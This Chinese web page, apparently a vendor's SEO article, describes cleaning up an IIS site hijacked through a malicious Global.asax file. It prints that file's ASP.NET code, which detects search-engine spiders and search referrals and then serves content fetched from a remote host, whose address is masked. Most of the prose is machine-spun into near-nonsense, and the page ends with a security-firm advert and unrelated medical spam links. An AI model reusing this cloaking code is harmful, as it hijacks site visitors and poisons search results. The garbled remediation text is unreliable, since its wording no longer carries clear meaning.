您当前的位置:首页 >> 设计观点

iis网站被攻击篡改绑架收录快照内容处理过程

2024-11-02 12:17:40

jsPath = "xxx";(由于网页不能随身携带关键字,所以用xxx都是) string leftPath = "xxx";(由于网页不能随身携带关键字,所以用xxx都是) string REFERER = "xxx";(由于网页不能随身携带关键字,所以用xxx都是) string user=""; string urls=Request.Url.ToString(); string host=Request.Url.Host; string spi2 = ""; string[] spidersString2 = "ao,so.com,360".ToLower().Split(','); string user2 = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower(); foreach (string s12 in spidersString2) { if (user2.IndexOf(s12) != -1) { spi2 = "Cozz=360"; break; }} if (user2.IndexOf("aid") != -1) { spi2 =spi2 + "Cobb=baidu"; } if (Request.UrlReferrer != null) { REFERER = Request.UrlReferrer.ToString().ToLower(); } if (Request.ServerVariables["HTTP_USER_AGENT"] != null) { user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower(); } foreach (string s in refesString) { if (REFERER.IndexOf(s) != -1) { ctx.ClearError(); string getjs = get_content(jsPath); Response.Write(getjs); Response.End(); } } foreach (string s in spidersString) { if (user.IndexOf(s) != -1) { ctx.ClearError(); Response.Clear(); if (urls.IndexOf("sitemap") != -1) { string getleft = get_content(leftPath); Response.Write(getleft); Response.End(); } string gethttp = get_content(Path+"?host="+host+"Courldz="+urls+spi2); Response.Write(gethttp ); Response.End(); } } //Response.Redirect("/"); } } }} void Application_BeginRequest(object sender, EventArgs e) { string[] spidersString = "Baiduspider,baidu.com,sogou.com,m.sogou,sougou,sogo,soso,360Spider".ToLower().Split(','); string user=""; if (Request.ServerVariables["HTTP_USER_AGENT"] != null) { user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower(); } foreach (string s in spidersString) { if (user.IndexOf(s) != -1) { Response.Clear(); string gethttp = get_content("xxx");(由于网页不能随身携带关键字,所以用xxx都是) Response.Write(gethttp); }}} private string get_content(string p) { string s = ""; try { System.Net.WebClient client = new System.Net.WebClient(); client.Encoding = System.Text.Encoding.GetEncoding("gb2312"); s = client.DownloadString(p); client.Dispose(); } catch(Exception ex) { Response.Write(""+ex.Message); } return s; }

2.网页枪清除和网页恶意重建

找到疑虑后,我先为来讲一下这个编码的作用,这个编码的机制主要是根据来路先决条件进行时判断,如果来路的核对引擎是sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc,就反之亦然表明扣押地址的蓄意素材,如果是反之亦然可用网页服务器的话就是短时间表明,主要是对网页的快照和来路进行时控件,所以说很多试开始运行者如果反之亦然可用网页服务器是挖掘出根本无法疑虑的,如果使用者核对ID点击网页链接进到的话时会反之亦然被控件到蓄意网页上去,知道原理后那我就找个建模搜狗抓取的物件去抓取看下素材,图片如下:

果然建模搜狗蜘蛛网抓取到的素材时会表明蓄意篇名,那洞察这个枪扣押控件的原理后,反之亦然先为把这个隐匿属性的Global.asax强制执行截图,然后再建模抓取看下前提短时间:

好了,网页恢复了短时间到访,抓取也短时间了,接下来的实习就是对网页枪进去的清理以及对网页恶意的重建,通过我们人工编码风险管理制度挖掘出共留了3个进去,和1个应用程序远控进去,先为对网页的进去进行时了截图,对完整版书目进行时了受到限制,对upload.aspx完整版机制这里头进行时了重建,完全符合了对完整版的后缀名受到限制,以防被继续前进并完整版aspx或asp的脚本文档,考虑网页是用aspx和sqlCore写就的编码,认真看了下机制编码的变量草拟算子的写就法,挖掘出发挥作用sql汇流突袭,计算机病毒可以通过sql汇流恶意进行时突袭反之亦然用文档使用者的dbwone管辖权提权指派减小管理制度员账号,看得见这个疑虑后立即对草拟的变量算子统一进行时了处理过程,对非法符号和语句进行时了受到限制,对配置文件的本该管理制度书目进行时了种系统二次验证,以防计算机病毒暴力破解本该列入并掩盖个人信息,应用程序的进去反之亦然对远程终端以及管理制度员账号进行时了安全及策略,只准许指明的IP进行时无线通信。

因为基本上的试开始运行者的安全及新科技依赖于,只能解决问题表面的疑虑,而网页反复被掩盖突袭的疑虑实在是让试开始运行者招架不住,再次建议网页的试开始运行者有先决条件的话一定要向网页恶意重建Corporation进行时服务,国内做网页安全及加固和恶意重建的服务商如SINE安全及,鹰盾安全及,启明星辰,树根安全及,都是有着珍贵的夜战安全及护甲充分,术业有专攻,机械工程的事情机械工程做。做好安全及加固护甲后网页保持稳定开始运行才是Corporation发挥作用工业发展的必要先决条件。

长沙哪家医院做人流好
银川男科医院哪个最好
成都看男科去哪家医院最好
长沙白癜风医院挂号
上海白癜风医院哪家正规
什么血糖仪家用比较好
红草止鼾胶囊对打呼噜有效果吗
用什么眼药水可缓解眼睛酸胀痛
再林阿莫西林克拉维酸钾片的作用是什么
牙疼如何止痛
友情链接